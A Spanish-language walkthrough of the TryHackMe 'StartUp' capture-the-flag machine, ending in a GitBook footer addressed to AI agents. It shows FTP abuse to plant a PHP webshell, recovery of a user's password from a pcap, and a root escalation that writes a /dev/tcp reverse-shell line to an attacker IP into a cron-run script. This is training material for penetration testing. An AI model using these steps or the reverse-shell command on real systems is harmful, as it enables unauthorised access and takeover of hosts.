> For the complete documentation index, see [llms.txt](https://itskode.gitbook.io/pentesting/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://itskode.gitbook.io/pentesting/tryhackme/facil/startup.md).

# StartUp

## 1. Reconocimiento - Nmap

Se comienza con un escaneo de puertos y versiones sobre la maquina objetivo `10.130.171.218`.

```bash
sudo nmap -sV -p- -T4 10.130.171.218
```

![Nmap](/files/kzsN05lW04Q7rKF10MO9)

**Resultados relevantes:**

| Puerto | Estado | Servicio | Version                    |
| ------ | ------ | -------- | -------------------------- |
| 21/tcp | open   | FTP      | vsftpd 3.0.3               |
| 22/tcp | open   | SSH      | OpenSSH 7.2p2 Ubuntu       |
| 80/tcp | open   | HTTP     | Apache httpd 2.4.18 Ubuntu |

El servicio FTP permite acceso anonimo, asi que se empieza por ahi.

***

## 2. Enumeracion FTP

Se accede al FTP con el usuario `anonymous`.

```bash
ftp 10.130.171.218
```

![FTP anonymous](/files/0ofDBN2P7chWCEaeatXC)

En el directorio principal aparecen dos archivos:

| Archivo         | Comentario                  |
| --------------- | --------------------------- |
| `notice.txt`    | Nota interna                |
| `important.jpg` | Imagen con nombre llamativo |

Se descarga `notice.txt` e `important.jpg` para analizarlos.

```bash
get notice.txt
get important.jpg
```

El contenido de `notice.txt` menciona a Maya y unos memes de Among Us.

![notice.txt](/files/GoOM78VeSAYJFVsUfWol)

***

## 3. Enumeracion Web

Se realiza fuzzing sobre el servicio HTTP.

```bash
gobuster dir -u http://10.130.171.218 \
  -w /usr/share/seclists/Discovery/Web-Content/common.txt \
  -x html,txt,php
```

![Gobuster](/files/OOZr9OcM1WcJ243UHZCk)

**Hallazgo importante:**

| Recurso   | Codigo | Comentario              |
| --------- | ------ | ----------------------- |
| `/files/` | 301    | Directorio web expuesto |

Al acceder a `/files/`, se observa que el contenido del FTP se sirve tambien por HTTP.

![Index files](/files/ET68LDz44S6B02R7dWnC)

Esto permite subir un archivo por FTP y ejecutarlo desde la web.

***

## 4. Subida de Webshell

Se genera una reverse shell en PHP apuntando a la IP atacante y al puerto `9001`.

![PHP reverse shell](/files/j02xWiTp0tabvKUswhay)

Se sube el archivo `webshell.php` dentro del directorio `ftp`.

```bash
ftp 10.130.171.218
cd ftp
put webshell.php
```

![Upload webshell](/files/f7xgfGL0iP2EXxUCwGBk)

El archivo queda accesible desde:

```
http://10.130.171.218/files/ftp/webshell.php
```

![webshell.php](/files/J22T3iPnJwpaNtFRuuZv)

***

## 5. Acceso Inicial

Se deja un listener escuchando en el puerto `9001` y se ejecuta la webshell desde el navegador.

```bash
nc -lvnp 9001
```

![Reverse shell www-data](/files/XDHXWtciarp0NcqcMNGi)

Se obtiene una shell como `www-data`.

```
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

***

## 6. Exfiltracion de la Captura

En el sistema se encuentra el directorio `/incidents` con una captura sospechosa.

```bash
cp /incidents/suspicious.pcapng /var/www/html/files/ftp/
```

![Copiar pcap](/files/OJ5HXhYng2FsqUFQcLys)

La captura queda accesible por HTTP y se abre con Wireshark.

![Wireshark pcap](/files/3cuKDhN1aL4htEYv19R5)

***

## 7. Analisis con Wireshark

Se revisan los streams TCP buscando informacion sensible.

![TCP stream](/files/dd8FTe0iMsO4H05ZovFh)

Entre los streams se observa actividad de una shell como `www-data`.

![Shell en pcap](/files/ZFFkgDpSTkvDlbNE6DVU)

En el mismo stream aparece un intento de acceso a `lennie` y una contrasena usada con `sudo`.

![Password en pcap](/files/fc5jbyKyCJoUNYEV2POl)

**Credenciales encontradas:**

| Usuario  | Password             |
| -------- | -------------------- |
| `lennie` | `c4ntg3t3n0ughsp1c3` |

***

## 8. Movimiento Lateral a lennie

Desde la shell inicial, se cambia al usuario `lennie`.

```bash
su lennie
```

![su lennie](/files/O8voCUT8wj47PIJt0OC7)

Acceso conseguido como `lennie`.

***

## 9. Enumeracion como lennie

En el home de `lennie` se encuentra el directorio `scripts`.

```bash
cd ~/scripts
ls
cat planner.sh
cat /etc/print.sh
ls -la /etc/print.sh
```

![scripts lennie](/files/9tWbuif5luRthEFebcyr)

El script `planner.sh` llama a `/etc/print.sh`, y este archivo pertenece a `lennie`, por lo que puede modificarse.

***

## 10. Escalada de Privilegios

Se reemplaza el contenido de `/etc/print.sh` por una reverse shell hacia la maquina atacante.

```bash
echo "sh -i >& /dev/tcp/192.168.155.77/9001 0>&1" > /etc/print.sh
```

![Modificar print.sh](/files/w1NTfaxGZVTACeQBq5yJ)

Payload utilizado:

![Payload bash](/files/mieHjXJP120TOBqjcgW4)

Se deja un listener a la espera.

```bash
nc -lvnp 9001
```

Cuando el script se ejecuta como root, entra la reverse shell.

![Root shell](/files/E1kZlUkuPoT440Z0ip1b)

El resultado confirma privilegios de root:

```
uid=0(root) gid=0(root) groups=0(root)
```

***

## Resumen

| Paso | Tecnica                 | Resultado                        |
| ---- | ----------------------- | -------------------------------- |
| 1    | Nmap                    | FTP, SSH y HTTP abiertos         |
| 2    | FTP anonimo             | Lectura de `notice.txt`          |
| 3    | Gobuster                | Directorio `/files/` descubierto |
| 4    | FTP + HTTP              | Subida y ejecucion de webshell   |
| 5    | Reverse shell PHP       | Acceso como `www-data`           |
| 6    | Exfiltracion de pcap    | `suspicious.pcapng` descargado   |
| 7    | Wireshark               | Password de `lennie` encontrado  |
| 8    | `su lennie`             | Movimiento lateral               |
| 9    | Script modificable      | `/etc/print.sh` writable         |
| 10   | Reverse shell en script | Root                             |

***

## Conclusion

La maquina se compromete encadenando un FTP anonimo con permisos de escritura y un directorio web que sirve esos archivos. Tras obtener una shell como `www-data`, se analiza una captura `.pcapng` que revela la contrasena de `lennie`. La escalada final se realiza modificando `/etc/print.sh`, ejecutado por una tarea privilegiada, para recibir una shell como root.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://itskode.gitbook.io/pentesting/tryhackme/facil/startup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
